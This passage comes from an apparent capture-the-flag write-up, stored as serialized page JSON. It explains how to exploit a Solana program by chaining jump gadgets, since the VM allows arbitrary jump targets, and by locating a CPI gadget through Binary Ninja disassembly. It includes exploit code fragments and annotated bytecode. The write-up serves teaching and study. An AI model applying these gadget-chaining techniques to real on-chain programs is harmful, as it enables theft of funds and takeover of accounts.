[56758],{"type":25,"tag":271,"props":56759,"children":56760},{"style":13625},[56761],{"type":30,"value":56762},"        ],\n",{"type":25,"tag":271,"props":56764,"children":56765},{"class":13593,"line":16915},[56766],{"type":25,"tag":271,"props":56767,"children":56768},{"style":13625},[56769],{"type":30,"value":56770},"    );\n",{"type":25,"tag":271,"props":56772,"children":56773},{"class":13593,"line":16945},[56774,56778],{"type":25,"tag":271,"props":56775,"children":56776},{"style":13620},[56777],{"type":30,"value":54240},{"type":25,"tag":271,"props":56779,"children":56780},{"style":13625},[56781],{"type":30,"value":16609},{"type":25,"tag":271,"props":56783,"children":56784},{"class":13593,"line":16953},[56785,56789,56794],{"type":25,"tag":271,"props":56786,"children":56787},{"style":13603},[56788],{"type":30,"value":16617},{"type":25,"tag":271,"props":56790,"children":56791},{"style":13598},[56792],{"type":30,"value":56793},"instruction",{"type":25,"tag":271,"props":56795,"children":56796},{"style":13625},[56797],{"type":30,"value":14351},{"type":25,"tag":271,"props":56799,"children":56800},{"class":13593,"line":16984},[56801,56805],{"type":25,"tag":271,"props":56802,"children":56803},{"style":13603},[56804],{"type":30,"value":16617},{"type":25,"tag":271,"props":56806,"children":56807},{"style":13625},[56808],{"type":30,"value":56664},{"type":25,"tag":271,"props":56810,"children":56811},{"class":13593,"line":16992},[56812,56817,56821,56825],{"type":25,"tag":271,"props":56813,"children":56814},{"style":13598},[56815],{"type":30,"value":56816},"            user_ai",{"type":25,"tag":271,"props":56818,"children":56819},{"style":13603},[56820],{"type":30,"value":1860},{"type":25,"tag":271,"props":56822,"children":56823},{"style":13620},[56824],{"type":30,"value":28541},{"type":25,"tag":271,"props":56826,"children":56827},{"style":13625},[56828],{"type":30,"value":16636},{"type":25,"tag":271,"props":56830,"children":56831},{"class":13593,"line":17052},[56832,56837,56841,56845],{"type":25,"tag":271,"props":56833,"children":56834},{"style":13598},[56835],{"type":30,"value":56836},"            flag_pda_ai",{"type":25,"tag":271,"props":56838,"children":56839},{"style":13603},[56840],{"type":30,"value":1860},{"type":25,"tag":271,"props":56842,"children":56843},{"style":13620},[56844],{"type":30,"value":28541},{"type":25,"tag":271,"props":56846,"children":56847},{"style":13625},[56848],{"type":30,"value":16636},{"type":25,"tag":271,"props":56850,"children":56851},{"class":13593,"line":22168},[56852],{"type":25,"tag":271,"props":56853,"children":56854},{"style":13625},[56855],{"type":30,"value":56762},{"type":25,"tag":271,"props":56857,"children":56858},{"class":13593,"line":22186},[56859,56863,56867,56871,56875,56879,56883,56887],{"type":25,"tag":271,"props":56860,"children":56861},{"style":13603},[56862],{"type":30,"value":16617},{"type":25,"tag":271,"props":56864,"children":56865},{"style":13625},[56866],{"type":30,"value":5604},{"type":25,"tag":271,"props":56868,"children":56869},{"style":13603},[56870],{"type":30,"value":13632},{"type":25,"tag":271,"props":56872,"children":56873},{"style":13625},[56874],{"type":30,"value":5604},{"type":25,"tag":271,"props":56876,"children":56877},{"style":17388},[56878],{"type":30,"value":55735},{"type":25,"tag":271,"props":56880,"children":56881},{"style":13603},[56882],{"type":30,"value":1860},{"type":25,"tag":271,"props":56884,"children":56885},{"style":13620},[56886],{"type":30,"value":55744},{"type":25,"tag":271,"props":56888,"children":56889},{"style":13625},[56890],{"type":30,"value":56891},"()]],\n",{"type":25,"tag":271,"props":56893,"children":56894},{"class":13593,"line":22231},[56895,56899,56903],{"type":25,"tag":271,"props":56896,"children":56897},{"style":13625},[56898],{"type":30,"value":16806},{"type":25,"tag":271,"props":56900,"children":56901},{"style":13603},[56902],{"type":30,"value":5632},{"type":25,"tag":271,"props":56904,"children":56905},{"style":13625},[56906],{"type":30,"value":16165},{"type":25,"tag":271,"props":56908,"children":56909},{"class":13593,"line":22337},[56910],{"type":25,"tag":271,"props":56911,"children":56912},{"emptyLinePlaceholder":18},[56913],{"type":30,"value":16829},{"type":25,"tag":271,"props":56915,"children":56916},{"class":13593,"line":36608},[56917],{"type":25,"tag":271,"props":56918,"children":56919},{"style":14385},[56920],{"type":30,"value":56921},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":25,"tag":271,"props":56923,"children":56924},{"class":13593,"line":36643},[56925,56930,56934,56938,56942,56946,56950,56954,56958,56962,56966,56971,56975,56979,56984,56988,56992,56997],{"type":25,"tag":271,"props":56926,"children":56927},{"style":13598},[56928],{"type":30,"value":56929},"    flag_pda_ai",{"type":25,"tag":271,"props":56931,"children":56932},{"style":13603},[56933],{"type":30,"value":1860},{"type":25,"tag":271,"props":56935,"children":56936},{"style":13620},[56937],{"type":30,"value":26995},{"type":25,"tag":271,"props":56939,"children":56940},{"style":13625},[56941],{"type":30,"value":27000},{"type":25,"tag":271,"props":56943,"children":56944},{"style":13603},[56945],{"type":30,"value":5632},{"type":25,"tag":271,"props":56947,"children":56948},{"style":13625},[56949],{"type":30,"value":5604},{"type":25,"tag":271,"props":56951,"children":56952},{"style":13603},[56953],{"type":30,"value":16195},{"type":25,"tag":271,"props":56955,"children":56956},{"style":16187},[56957],{"type":30,"value":17214},{"type":25,"tag":271,"props":56959,"children":56960},{"style":13625},[56961],{"type":30,"value":5630},{"type":25,"tag":271,"props":56963,"children":56964},{"style":13603},[56965],{"type":30,"value":1860},{"type":25,"tag":271,"props":56967,"children":56968},{"style":13620},[56969],{"type":30,"value":56970},"copy_from_slice",{"type":25,"tag":271,"props":56972,"children":56973},{"style":13625},[56974],{"type":30,"value":394},{"type":25,"tag":271,"props":56976,"children":56977},{"style":13603},[56978],{"type":30,"value":13632},{"type":25,"tag":271,"props":56980,"children":56981},{"style":16187},[56982],{"type":30,"value":56983},"0x4337",{"type":25,"tag":271,"props":56985,"children":56986},{"style":13609},[56987],{"type":30,"value":21164},{"type":25,"tag":271,"props":56989,"children":56990},{"style":13603},[56991],{"type":30,"value":1860},{"type":25,"tag":271,"props":56993,"children":56994},{"style":13620},[56995],{"type":30,"value":56996},"to_le_bytes",{"type":25,"tag":271,"props":56998,"children":56999},{"style":13625},[57000],{"type":30,"value":28546},{"type":25,"tag":271,"props":57002,"children":57003},{"class":13593,"line":36651},[57004],{"type":25,"tag":271,"props":57005,"children":57006},{"emptyLinePlaceholder":18},[57007],{"type":30,"value":16829},{"type":25,"tag":271,"props":57009,"children":57010},{"class":13593,"line":36659},[57011,57015],{"type":25,"tag":271,"props":57012,"children":57013},{"style":13609},[57014],{"type":30,"value":27454},{"type":25,"tag":271,"props":57016,"children":57017},{"style":13625},[57018],{"type":30,"value":27459},{"type":25,"tag":271,"props":57020,"children":57021},{"class":13593,"line":36668},[57022],{"type":25,"tag":271,"props":57023,"children":57024},{"style":13625},[57025],{"type":30,"value":17058},{"type":25,"tag":26,"props":57027,"children":57028},{},[57029],{"type":30,"value":57030},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":25,"tag":26,"props":57032,"children":57033},{},[57034],{"type":25,"tag":698,"props":57035,"children":57038},{"alt":57036,"src":57037},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":25,"tag":26,"props":57040,"children":57041},{},[57042],{"type":30,"value":57043},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":25,"tag":96,"props":57045,"children":57047},{"id":57046},"solution-implementation",[57048],{"type":30,"value":57049},"Solution Implementation",{"type":25,"tag":26,"props":57051,"children":57052},{},[57053,57055,57060],{"type":30,"value":57054},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":25,"tag":264,"props":57056,"children":57058},{"className":57057},[],[57059],{"type":30,"value":48793},{"type":30,"value":57061}," invocations:",{"type":25,"tag":7764,"props":57063,"children":57067},{"className":57064,"code":57065,"language":57066,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[57068],{"type":25,"tag":264,"props":57069,"children":57070},{"__ignoreMap":7},[57071,57079,57087,57095,57103,57111,57119],{"type":25,"tag":271,"props":57072,"children":57073},{"class":13593,"line":13594},[57074],{"type":25,"tag":271,"props":57075,"children":57076},{},[57077],{"type":30,"value":57078},"graph LR\n",{"type":25,"tag":271,"props":57080,"children":57081},{"class":13593,"line":11641},[57082],{"type":25,"tag":271,"props":57083,"children":57084},{},[57085],{"type":30,"value":57086},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":25,"tag":271,"props":57088,"children":57089},{"class":13593,"line":14354},[57090],{"type":25,"tag":271,"props":57091,"children":57092},{},[57093],{"type":30,"value":57094},"    B --> C[2: process]\n",{"type":25,"tag":271,"props":57096,"children":57097},{"class":13593,"line":14391},[57098],{"type":25,"tag":271,"props":57099,"children":57100},{},[57101],{"type":30,"value":57102},"    C --> D[3: gadget1]\n",{"type":25,"tag":271,"props":57104,"children":57105},{"class":13593,"line":14400},[57106],{"type":25,"tag":271,"props":57107,"children":57108},{},[57109],{"type":30,"value":57110},"    C --> E[3: process]\n",{"type":25,"tag":271,"props":57112,"children":57113},{"class":13593,"line":16406},[57114],{"type":25,"tag":271,"props":57115,"children":57116},{},[57117],{"type":30,"value":57118},"    E --> F[4: gadget2]\n",{"type":25,"tag":271,"props":57120,"children":57121},{"class":13593,"line":16434},[57122],{"type":25,"tag":271,"props":57123,"children":57124},{},[57125],{"type":30,"value":57126},"    E --> G[...]\n",{"type":25,"tag":26,"props":57128,"children":57129},{},[57130],{"type":30,"value":57131},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":25,"tag":26,"props":57133,"children":57134},{},[57135,57137,57143],{"type":30,"value":57136},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":25,"tag":83,"props":57138,"children":57140},{"href":53598,"rel":57139},[9066],[57141],{"type":30,"value":57142},"Binary Ninja",{"type":30,"value":57144}," to find a suitable gadget for this.",{"type":25,"tag":26,"props":57146,"children":57147},{},[57148,57150,57157],{"type":30,"value":57149},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":25,"tag":83,"props":57151,"children":57154},{"href":57152,"rel":57153},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[9066],[57155],{"type":30,"value":57156},"skip the strip pass",{"type":30,"value":1860},{"type":25,"tag":247,"props":57159,"children":57161},{"id":57160},"cpi-gadget",[57162],{"type":30,"value":57163},"CPI Gadget",{"type":25,"tag":26,"props":57165,"children":57166},{},[57167,57169,57174,57176,57183,57185,57191],{"type":30,"value":57168},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":25,"tag":264,"props":57170,"children":57172},{"className":57171},[],[57173],{"type":30,"value":51406},{"type":30,"value":57175}," function. This function calls into the solana sdk's function ",{"type":25,"tag":83,"props":57177,"children":57180},{"href":57178,"rel":57179},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[9066],[57181],{"type":30,"value":57182},"invoke_signed_unchecked",{"type":30,"value":57184},", yielding a powerful gadget at the address ",{"type":25,"tag":264,"props":57186,"children":57188},{"className":57187},[],[57189],{"type":30,"value":57190},"0x100001ba8",{"type":30,"value":1860},{"type":25,"tag":7764,"props":57193,"children":57195},{"className":13586,"code":57194,"language":13585,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[57196],{"type":25,"tag":264,"props":57197,"children":57198},{"__ignoreMap":7},[57199,57224,57280,57331,57383,57435,57458,57506,57513,57545,57596,57654,57688,57695,57744,57774,57849,57856,57907,57953,57960,57991,58042,58072,58094,58101,58152,58197,58204,58255,58283,58304,58311],{"type":25,"tag":271,"props":57200,"children":57201},{"class":13593,"line":13594},[57202,57206,57210,57215,57219],{"type":25,"tag":271,"props":57203,"children":57204},{"style":13625},[57205],{"type":30,"value":26778},{"type":25,"tag":271,"props":57207,"children":57208},{"style":13603},[57209],{"type":30,"value":13617},{"type":25,"tag":271,"props":57211,"children":57212},{"style":13625},[57213],{"type":30,"value":57214},"program",{"type":25,"tag":271,"props":57216,"children":57217},{"style":13603},[57218],{"type":30,"value":13617},{"type":25,"tag":271,"props":57220,"children":57221},{"style":13598},[57222],{"type":30,"value":57223},"invoke_signed_unchecked\n",{"type":25,"tag":271,"props":57225,"children":57226},{"class":13593,"line":11641},[57227,57232,57237,57242,57247,57252,57257,57261,57266,57271,57276],{"type":25,"tag":271,"props":57228,"children":57229},{"style":13598},[57230],{"type":30,"value":57231},"100001ba8",{"type":25,"tag":271,"props":57233,"children":57234},{"style":13598},[57235],{"type":30,"value":57236},"  79a278ff00000000",{"type":25,"tag":271,"props":57238,"children":57239},{"style":13598},[57240],{"type":30,"value":57241},"   ldxdw",{"type":25,"tag":271,"props":57243,"children":57244},{"style":13598},[57245],{"type":30,"value":57246}," r2",{"type":25,"tag":271,"props":57248,"children":57249},{"style":13625},[57250],{"type":30,"value":57251},", [",{"type":25,"tag":271,"props":57253,"children":57254},{"style":13598},[57255],{"type":30,"value":57256},"r10",{"type":25,"tag":271,"props":57258,"children":57259},{"style":13603},[57260],{"type":30,"value":17459},{"type":25,"tag":271,"props":57262,"children":57263},{"style":16187},[57264],{"type":30,"value":57265},"136",{"type":25,"tag":271,"props":57267,"children":57268},{"style":13625},[57269],{"type":30,"value":57270},"] {",{"type":25,"tag":271,"props":57272,"children":57273},{"style":13598},[57274],{"type":30,"value":57275},"var_88",{"type":25,"tag":271,"props":57277,"children":57278},{"style":13625},[57279],{"type":30,"value":17058},{"type":25,"tag":271,"props":57281,"children":57282},{"class":13593,"line":14354},[57283,57288,57293,57297,57302,57306,57310,57314,57318,57322,57327],{"type":25,"tag":271,"props":57284,"children":57285},{"style":13598},[57286],{"type":30,"value":57287},"100001bb0",{"type":25,"tag":271,"props":57289,"children":57290},{"style":13598},[57291],{"type":30,"value":57292},"  79a380ff00000000",{"type":25,"tag":271,"props":57294,"children":57295},{"style":13598},[57296],{"type":30,"value":57241},{"type":25,"tag":271,"props":57298,"children":57299},{"style":13598},[57300],{"type":30,"value":57301}," r3",{"type":25,"tag":271,"props":57303,"children":57304},{"style":13625},[57305],{"type":30,"value":57251},{"type":25,"tag":271,"props":57307,"children":57308},{"style":13598},[57309],{"type":30,"value":57256},{"type":25,"tag":271,"props":57311,"children":57312},{"style":13603},[57313],{"type":30,"value":17459},{"type":25,"tag":271,"props":57315,"children":57316},{"style":16187},[57317],{"type":30,"value":14233},{"type":25,"tag":271,"props":57319,"children":57320},{"style":13625},[57321],{"type":30,"value":57270},{"type":25,"tag":271,"props":57323,"children":57324},{"style":13598},[57325],{"type":30,"value":57326},"var_80",{"type":25,"tag":271,"props":57328,"children":57329},{"style":13625},[57330],{"type":30,"value":17058},{"type":25,"tag":271,"props":57332,"children":57333},{"class":13593,"line":14391},[57334,57339,57344,57348,57353,57357,57361,57365,57370,57374,57379],{"type":25,"tag":271,"props":57335,"children":57336},{"style":13598},[57337],{"type":30,"value":57338},"100001bb8",{"type":25,"tag":271,"props":57340,"children":57341},{"style":13598},[57342],{"type":30,"value":57343},"  79a468ff00000000",{"type":25,"tag":271,"props":57345,"children":57346},{"style":13598},[57347],{"type":30,"value":57241},{"type":25,"tag":271,"props":57349,"children":57350},{"style":13598},[57351],{"type":30,"value":57352}," r4",{"type":25,"tag":271,"props":57354,"children":57355},{"style":13625},[57356],{"type":30,"value":57251},{"type":25,"tag":271,"props":57358,"children":57359},{"style":13598},[57360],{"type":30,"value":57256},{"type":25,"tag":271,"props":57362,"children":57363},{"style":13603},[57364],{"type":30,"value":17459},{"type":25,"tag":271,"props":57366,"children":57367},{"style":16187},[57368],{"type":30,"value":57369},"152",{"type":25,"tag":271,"props":57371,"children":57372},{"style":13625},[57373],{"type":30,"value":57270},{"type":25,"tag":271,"props":57375,"children":57376},{"style":13598},[57377],{"type":30,"value":57378},"var_98",{"type":25,"tag":271,"props":57380,"children":57381},{"style":13625},[57382],{"type":30,"value":17058},{"type":25,"tag":271,"props":57384,"children":57385},{"class":13593,"line":14400},[57386,57391,57396,57400,57405,57409,57413,57417,57422,57426,57431],{"type":25,"tag":271,"props":57387,"children":57388},{"style":13598},[57389],{"type":30,"value":57390},"100001bc0",{"type":25,"tag":271,"props":57392,"children":57393},{"style":13598},[57394],{"type":30,"value":57395},"  79a570ff00000000",{"type":25,"tag":271,"props":57397,"children":57398},{"style":13598},[57399],{"type":30,"value":57241},{"type":25,"tag":271,"props":57401,"children":57402},{"style":13598},[57403],{"type":30,"value":57404}," r5",{"type":25,"tag":271,"props":57406,"children":57407},{"style":13625},[57408],{"type":30,"value":57251},{"type":25,"tag":271,"props":57410,"children":57411},{"style":13598},[57412],{"type":30,"value":57256},{"type":25,"tag":271,"props":57414,"children":57415},{"style":13603},[57416],{"type":30,"value":17459},{"type":25,"tag":271,"props":57418,"children":57419},{"style":16187},[57420],{"type":30,"value":57421},"144",{"type":25,"tag":271,"props":57423,"children":57424},{"style":13625},[57425],{"type":30,"value":57270},{"type":25,"tag":271,"props":57427,"children":57428},{"style":13598},[57429],{"type":30,"value":57430},"var_90",{"type":25,"tag":271,"props":57432,"children":57433},{"style":13625},[57434],{"type":30,"value":17058},{"type":25,"tag":271,"props":57436,"children":57437},{"class":13593,"line":16406},[57438,57443,57448,57453],{"type":25,"tag":271,"props":57439,"children":57440},{"style":13598},[57441],{"type":30,"value":57442},"100001bc8",{"type":25,"tag":271,"props":57444,"children":57445},{"style":16187},[57446],{"type":30,"value":57447},"  8520000020100000",{"type":25,"tag":271,"props":57449,"children":57450},{"style":13598},[57451],{"type":30,"value":57452},"   call",{"type":25,"tag":271,"props":57454,"children":57455},{"style":13598},[57456],{"type":30,"value":57457}," sol_invoke_signed_rust\n",{"type":25,"tag":271,"props":57459,"children":57460},{"class":13593,"line":16434},[57461,57466,57471,57476,57480,57484,57488,57492,57497,57501],{"type":25,"tag":271,"props":57462,"children":57463},{"style":13598},[57464],{"type":30,"value":57465},"100001bd0",{"type":25,"tag":271,"props":57467,"children":57468},{"style":16187},[57469],{"type":30,"value":57470},"  5500040000000000",{"type":25,"tag":271,"props":57472,"children":57473},{"style":13598},[57474],{"type":30,"value":57475},"   jne",{"type":25,"tag":271,"props":57477,"children":57478},{"style":13625},[57479],{"type":30,"value":21839},{"type":25,"tag":271,"props":57481,"children":57482},{"style":13603},[57483],{"type":30,"value":2074},{"type":25,"tag":271,"props":57485,"children":57486},{"style":16187},[57487],{"type":30,"value":30650},{"type":25,"tag":271,"props":57489,"children":57490},{"style":13625},[57491],{"type":30,"value":18952},{"type":25,"tag":271,"props":57493,"children":57494},{"style":13598},[57495],{"type":30,"value":57496},"r0",{"type":25,"tag":271,"props":57498,"children":57499},{"style":13625},[57500],{"type":30,"value":44},{"type":25,"tag":271,"props":57502,"children":57503},{"style":16187},[57504],{"type":30,"value":57505},"0x0\n",{"type":25,"tag":271,"props":57507,"children":57508},{"class":13593,"line":16447},[57509],{"type":25,"tag":271,"props":57510,"children":57511},{"emptyLinePlaceholder":18},[57512],{"type":30,"value":16829},{"type":25,"tag":271,"props":57514,"children":57515},{"class":13593,"line":16465},[57516,57521,57526,57531,57536,57540],{"type":25,"tag":271,"props":57517,"children":57518},{"style":13598},[57519],{"type":30,"value":57520},"100001bd8",{"type":25,"tag":271,"props":57522,"children":57523},{"style":13598},[57524],{"type":30,"value":57525},"  b701000018000000",{"type":25,"tag":271,"props":57527,"children":57528},{"style":13598},[57529],{"type":30,"value":57530},"   mov",{"type":25,"tag":271,"props":57532,"children":57533},{"style":13598},[57534],{"type":30,"value":57535}," r1",{"type":25,"tag":271,"props":57537,"children":57538},{"style":13625},[57539],{"type":30,"value":44},{"type":25,"tag":271,"props":57541,"children":57542},{"style":16187},[57543],{"type":30,"value":57544},"0x18\n",{"type":25,"tag":271,"props":57546,"children":57547},{"class":13593,"line":16486},[57548,57553,57558,57562,57566,57570,57574,57578,57583,57587,57592],{"type":25,"tag":271,"props":57549,"children":57550},{"style":13598},[57551],{"type":30,"value":57552},"100001be0",{"type":25,"tag":271,"props":57554,"children":57555},{"style":13598},[57556],{"type":30,"value":57557},"  79a288ff00000000",{"type":25,"tag":271,"props":57559,"children":57560},{"style":13598},[57561],{"type":30,"value":57241},{"type":25,"tag":271,"props":57563,"children":57564},{"style":13598},[57565],{"type":30,"value":57246},{"type":25,"tag":271,"props":57567,"children":57568},{"style":13625},[57569],{"type":30,"value":57251},{"type":25,"tag":271,"props":57571,"children":57572},{"style":13598},[57573],{"type":30,"value":57256},{"type":25,"tag":271,"props":57575,"children":57576},{"style":13603},[57577],{"type":30,"value":17459},{"type":25,"tag":271,"props":57579,"children":57580},{"style":16187},[57581],{"type":30,"value":57582},"120",{"type":25,"tag":271,"props":57584,"children":57585},{"style":13625},[57586],{"type":30,"value":57270},{"type":25,"tag":271,"props":57588,"children":57589},{"style":13598},[57590],{"type":30,"value":57591},"var_78",{"type":25,"tag":271,"props":57593,"children":57594},{"style":13625},[57595],{"type":30,"value":17058},{"type":25,"tag":271,"props":57597,"children":57598},{"class":13593,"line":16495},[57599,57604,57609,57614,57618,57623,57627,57631,57635,57640,57645,57650],{"type":25,"tag":271,"props":57600,"children":57601},{"style":13598},[57602],{"type":30,"value":57603},"100001be8",{"type":25,"tag":271,"props":57605,"children":57606},{"style":16187},[57607],{"type":30,"value":57608},"  6312000000000000",{"type":25,"tag":271,"props":57610,"children":57611},{"style":13598},[57612],{"type":30,"value":57613},"   stxw",{"type":25,"tag":271,"props":57615,"children":57616},{"style":13625},[57617],{"type":30,"value":36132},{"type":25,"tag":271,"props":57619,"children":57620},{"style":13598},[57621],{"type":30,"value":57622},"r2",{"type":25,"tag":271,"props":57624,"children":57625},{"style":13603},[57626],{"type":30,"value":17459},{"type":25,"tag":271,"props":57628,"children":57629},{"style":16187},[57630],{"type":30,"value":953},{"type":25,"tag":271,"props":57632,"children":57633},{"style":13625},[57634],{"type":30,"value":36160},{"type":25,"tag":271,"props":57636,"children":57637},{"style":13598},[57638],{"type":30,"value":57639},"r1",{"type":25,"tag":271,"props":57641,"children":57642},{"style":13625},[57643],{"type":30,"value":57644},"  {",{"type":25,"tag":271,"props":57646,"children":57647},{"style":16187},[57648],{"type":30,"value":57649},"0x18",{"type":25,"tag":271,"props":57651,"children":57652},{"style":13625},[57653],{"type":30,"value":17058},{"type":25,"tag":271,"props":57655,"children":57656},{"class":13593,"line":16744},[57657,57662,57667,57672,57676,57680,57684],{"type":25,"tag":271,"props":57658,"children":57659},{"style":13598},[57660],{"type":30,"value":57661},"100001bf0",{"type":25,"tag":271,"props":57663,"children":57664},{"style":16187},[57665],{"type":30,"value":57666},"  0500030000000000",{"type":25,"tag":271,"props":57668,"children":57669},{"style":13598},[57670],{"type":30,"value":57671},"   ja",{"type":25,"tag":271,"props":57673,"children":57674},{"style":13625},[57675],{"type":30,"value":21839},{"type":25,"tag":271,"props":57677,"children":57678},{"style":13603},[57679],{"type":30,"value":2074},{"type":25,"tag":271,"props":57681,"children":57682},{"style":16187},[57683],{"type":30,"value":7711},{"type":25,"tag":271,"props":57685,"children":57686},{"style":13625},[57687],{"type":30,"value":14448},{"type":25,"tag":271,"props":57689,"children":57690},{"class":13593,"line":16761},[57691],{"type":25,"tag":271,"props":57692,"children":57693},{"emptyLinePlaceholder":18},[57694],{"type":30,"value":16829},{"type":25,"tag":271,"props":57696,"children":57697},{"class":13593,"line":16778},[57698,57703,57708,57712,57716,57720,57724,57728,57732,57736,57740],{"type":25,"tag":271,"props":57699,"children":57700},{"style":13598},[57701],{"type":30,"value":57702},"100001bf8",{"type":25,"tag":271,"props":57704,"children":57705},{"style":13598},[57706],{"type":30,"value":57707},"  79a188ff00000000",{"type":25,"tag":271,"props":57709,"children":57710},{"style":13598},[57711],{"type":30,"value":57241},{"type":25,"tag":271,"props":57713,"children":57714},{"style":13598},[57715],{"type":30,"value":57535},{"type":25,"tag":271,"props":57717,"children":57718},{"style":13625},[57719],{"type":30,"value":57251},{"type":25,"tag":271,"props":57721,"children":57722},{"style":13598},[57723],{"type":30,"value":57256},{"type":25,"tag":271,"props":57725,"children":57726},{"style":13603},[57727],{"type":30,"value":17459},{"type":25,"tag":271,"props":57729,"children":57730},{"style":16187},[57731],{"type":30,"value":57582},{"type":25,"tag":271,"props":57733,"children":57734},{"style":13625},[57735],{"type":30,"value":57270},{"type":25,"tag":271,"props":57737,"children":57738},{"style":13598},[57739],{"type":30,"value":57591},{"type":25,"tag":271,"props":57741,"children":57742},{"style":13625},[57743],{"type":30,"value":17058},{"type":25,"tag":271,"props":57745,"children":57746},{"class":13593,"line":16791},[57747,57752,57757,57761,57765,57769],{"type":25,"tag":271,"props":57748,"children":57749},{"style":13598},[57750],{"type":30,"value":57751},"100001c00",{"type":25,"tag":271,"props":57753,"children":57754},{"style":13598},[57755],{"type":30,"value":57756},"  bf02000000000000",{"type":25,"tag":271,"props":57758,"children":57759},{"style":13598},[57760],{"type":30,"value":57530},{"type":25,"tag":271,"props":57762,"children":57763},{"style":13598},[57764],{"type":30,"value":57246},{"type":25,"tag":271,"props":57766,"children":57767},{"style":13625},[57768],{"type":30,"value":44},{"type":25,"tag":271,"props":57770,"children":57771},{"style":13598},[57772],{"type":30,"value":57773},"r0\n",{"type":25,"tag":271,"props":57775,"children":57776},{"class":13593,"line":16800},[57777,57782,57787,57791,57796,57800,57805,57809,57813,57818,57822,57826,57831,57836,57840,57844],{"type":25,"tag":271,"props":57778,"children":57779},{"style":13598},[57780],{"type":30,"value":57781},"100001c08",{"type":25,"tag":271,"props":57783,"children":57784},{"style":16187},[57785],{"type":30,"value":57786},"  8510000075000000",{"type":25,"tag":271,"props":57788,"children":57789},{"style":13598},[57790],{"type":30,"value":57452},{"type":25,"tag":271,"props":57792,"children":57793},{"style":13609},[57794],{"type":30,"value":57795}," _ZN94_",{"type":25,"tag":271,"props":57797,"children":57798},{"style":13603},[57799],{"type":30,"value":23412},{"type":25,"tag":271,"props":57801,"children":57802},{"style":13609},[57803],{"type":30,"value":57804},"LT",{"type":25,"tag":271,"props":57806,"children":57807},{"style":13603},[57808],{"type":30,"value":23412},{"type":25,"tag":271,"props":57810,"children":57811},{"style":13598},[57812],{"type":30,"value":26778},{"type":25,"tag":271,"props":57814,"children":57815},{"style":13603},[57816],{"type":30,"value":57817},"...$",{"type":25,"tag":271,"props":57819,"children":57820},{"style":13598},[57821],{"type":30,"value":21164},{"type":25,"tag":271,"props":57823,"children":57824},{"style":13603},[57825],{"type":30,"value":23412},{"type":25,"tag":271,"props":57827,"children":57828},{"style":13609},[57829],{"type":30,"value":57830},"GT",{"type":25,"tag":271,"props":57832,"children":57833},{"style":13603},[57834],{"type":30,"value":57835},"$$",{"type":25,"tag":271,"props":57837,"children":57838},{"style":13609},[57839],{"type":30,"value":57830},{"type":25,"tag":271,"props":57841,"children":57842},{"style":13603},[57843],{"type":30,"value":23412},{"type":25,"tag":271,"props":57845,"children":57846},{"style":13625},[57847],{"type":30,"value":57848},"4from17ha0d289b72861b06dE\n",{"type":25,"tag":271,"props":57850,"children":57851},{"class":13593,"line":16823},[57852],{"type":25,"tag":271,"props":57853,"children":57854},{"emptyLinePlaceholder":18},[57855],{"type":30,"value":16829},{"type":25,"tag":271,"props":57857,"children":57858},{"class":13593,"line":16832},[57859,57864,57869,57873,57877,57881,57885,57889,57894,57898,57903],{"type":25,"tag":271,"props":57860,"children":57861},{"style":13598},[57862],{"type":30,"value":57863},"100001c10",{"type":25,"tag":271,"props":57865,"children":57866},{"style":13598},[57867],{"type":30,"value":57868},"  